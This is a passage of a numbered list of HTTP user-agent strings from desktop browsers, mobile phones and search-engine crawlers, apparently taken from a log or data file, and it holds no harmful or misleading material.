177 | Mozilla/5.0 (Linux; Android 4.4.2; RCT6203W46 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Safari/537.36
178 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
179 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
180 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
181 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/6.2.7 Safari/537.85.16
182 | Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
183 | Mozilla/5.0 (Linux; Android 5.0.2; SGH-T679 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36
184 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
185 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:37.0) Gecko/20100101 Firefox/37.0
186 | Mozilla/5.0 (Linux; Android 5.0.2; XT1068 Build/LXB22.46-28) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Mobile Safari/537.36 OPR/28.0.1764.90386
187 | SAMSUNG-GT-E2252/E2252DDNC1 NetFront/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1
188 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:36.0) Gecko/20100101 Firefox/36.0
189 | Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
190 | Mozilla/5.0 (compatible) Feedfetcher-Google;(+http://www.google.com/feedfetcher.html)
191 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; McAfee; InfoPath.3)
192 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2453.0 Safari/537.36
193 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
194 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H321 Safari/600.1.4
195 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15
196 | Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
197 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
198 | Mozilla/5.0 (Linux; Android 5.1.1; C2004 Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
199 | Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0
200 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF
201 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
202 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
203 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
204 | Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N5110 Build/JDQ39) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Safari/537.16
205 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
206 | Mozilla/5.0 (Linux; Android 5.1.1; LG-H345 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile Safari/537.36
207 | Mozilla/5.0 (Linux; U; Android 4.4.4; En-us; D2212 Build/18.5.B.0.26) AppleWebKit/534.30 (KHTML, Like Gecko) Version/4.0 Safari/534.30
208 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAGWJS; rv:11.0) like Gecko
209 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; MAGWJS; rv:11.0) like Gecko
210 | Mozilla/5.0 (Linux; Android 5.1.1; LG-H345 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
211 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
212 | Mozilla/5.0 (Android; Mobile; rv:39.0) Gecko/39.0 Firefox/39.0
213 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2489.0 Safari/537.36
214 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-N5110 Build/JDQ39) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Safari/537.16
215 | Mozilla/5.0 (Linux; Android 5.1.1; LG-H345 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Mobile Safari/537.36 OPR/30.0.1856.93524
216 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
217 | Mozilla/5.0 (Linux; Android; 4.1.2; GT-I9100 Build/000000) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1234.12 Mobile Safari/537.22 OPR/14.0.123.123
218 | Opera/9.80 (Android; Opera Mini/10.0.1884/37.6334; U; en) Presto/2.12.423 Version/12.16
219 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530 Dual SIM) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
220 | Mediapartners-Google
221 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)
222 | Mozilla/5.0 (X11; U; Linux x86_64; ko-Kore-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT
223 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
224 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0)
225 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174
226 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
227 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:40.0) Gecko/20100101 Firefox/40.0
228 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:39.0) Gecko/20100101 Firefox/39.0
229 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22
230 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
231 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko)
232 | Mozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0
233 | Pinterest/0.2 (+http://www.pinterest.com/)
234 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Lumia 640 LTE; ANZ1074) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
235 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.26 Safari/537.36
236 | Googlebot/2.1 (+http://www.googlebot.com/bot.html)
237 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/47.0 Chrome/41.0.2272.127 Safari/537.36
238 | Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)
239 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4
240 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Lumia 640 LTE) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
241 | Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
242 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
243 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16
244 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
245 | Mozilla/5.0 (Linux; U; Android 4.2; en-us; sdk Build/MR1) AppleWebKit/535.19 (KHTML, like Gecko) Version/4.2 Safari/535.19
246 | Mozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0
247 | Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; NOKIA; Lumia 730 Dual SIM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10166
248 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; GWX:RESERVED)
249 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_90) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5
250 | DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)
251 | SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)
252 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5
253 | Mozilla/5.0 (X11; FreeBSD amd64; rv:27.0) Gecko/20100101 Firefox/27.0
254 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)
255 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
256 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 SE 2.X MetaSr 1.0
257 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
258 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174
259 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.46 Safari/537.36
260 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)
261 | Mozilla/5.0 (Windows NT 6.3; ARM; Trident/7.0; Touch; rv:11.0) like Gecko
262 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
263 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko
264 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Z520 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30;
265 | Mozilla/5.0 (Linux; Android 5.0.1; LG-H440n Build/LRX21Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile Safari/537.36
266 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
267 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174
268 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174
269 | Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
270 | Mozilla/5.0 (Windows NT 5.0; rv:12.0) Gecko/20100101 Firefox/12.0
271 | Opera/9.80 (Windows NT 5.1; U; en) Presto/2.6.30 Version/10.63
272 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)
273 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
274 | Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
275 | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
276 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 SeaMonkey/2.33.1
277 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
278 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
279 | GigablastOpenSource/1.0
280 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20
281 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
282 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 630) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
283 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Dragon/43.3.3.185 Chrome/43.0.2357.81 Safari/537.36
284 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)
285 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17
286 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:44.0) Gecko/20100101 Firefox/44.0
287 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10525
288 | Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
289 | Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML like Gecko) Mobile/12A405 Version/7.0 Safari/9537.53
290 | Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0
291 | Mozilla/5.0 (Linux; U; Android 2.1-update1; ro-ro; U8300 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
292 | Mozilla/5.0 (Linux; U; Android 4.3; ko-kr; SAMSUNG-SGH-I317 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
293 | Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
294 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5
295 | SAMSUNG-GT-E2230/1.0 Openwave/6.2.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0
296 | Mozilla/5.0 (Windows NT 6.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
297 | Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5
298 | Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
299 | Mozilla/5.0 (Linux; U; Android 4.3; en-us; SGH-T999 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
300 | Mozilla/5.0 (Windows NT 6.1; rv:25.6) Gecko/20150723 Firefox/31.9 PaleMoon/25.6.0
301 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
302 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Lumia 540 Dual SIM) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
303 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
304 | Mozilla/5.0 (X11; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0
305 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
306 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 920) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
307 | Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
308 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10
309 | Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile Safari/600.1.4
310 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
311 | Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
312 | Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3
313 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
314 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.18 Safari/537.36
315 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10
316 | Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
317 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/49.0.146 Chrome/43.0.2357.146 Safari/537.36
318 | Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143
319 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.102 Safari/535.2
320 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190
321 | Mozilla/5.0 (Linux; Android 4.4.4; Nexus 7 Build/KTU84P) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.135 Safari/537.36
322 | Mozilla/5.0 (Linux; Android 4.4.4; W6S Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Safari/537.36
323 | Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54
324 | Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
325 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
326 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
327 | Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+
328 | Mozilla/5.0 (X11; Linux i686; rv:25.6) Gecko/20150723 PaleMoon/25.6.0
329 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
330 | Mozilla/5.0 (Windows NT 10.0; rv:40.0) Gecko/20100101 Firefox/40.0
331 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
332 | Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; Xbox)
333 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
334 | Mozilla/5.0 (Linux; Android 4.4.2; SC7 PRO HD Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
335 | Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
336 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:39.0) Gecko/20100101 Firefox/39.0
337 | Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0
338 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 930) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
339 | Mozilla/5.0 (Windows NT 6.2; rv:39.0) Gecko/20100101 Firefox/39.0
340 | Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729)
341 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MDDC; InfoPath.2; .NET4.0C)
342 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)
343 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)
344 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:39.0) Gecko/20100101 Firefox/39.0
345 | Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
346 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2
347 | Opera/9.80 (J2ME/MIDP; Opera Mini/4.0.13574/36.2596; U; en) Presto/2.12.423 Version/12.16
348 | SonyEricssonK630i/R1FA Browser/NetFront/3.4 Profile/MIDP-2.1 Configuration/CLDC-1.1
349 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17 AirBrowse/6.0.0.4
350 | Mozilla/5.0 (Linux; U; Android 4.2.2; fi-fi; SM-G350 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
351 | Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0
352 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
353 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5
354 | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; Valve Steam GameOverlay/1440016726; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
355 | Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D201
356 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Lumia 435) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
357 | Lynx/2.8.9dev.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/3.2.16
358 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36
359 | Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Lumia 535 Dual SIM) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537
360 | Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0
361 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
362 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36
363 | Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0
364 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3; AskTbPTV/5.11.3.15590)
365 | Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0
366 | Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
367 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0)
368 | Opera/9.80 (Windows Phone; Opera Mini/8.1.0/37.6334; U; en) Presto/2.12.423 Version/12.16
369 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
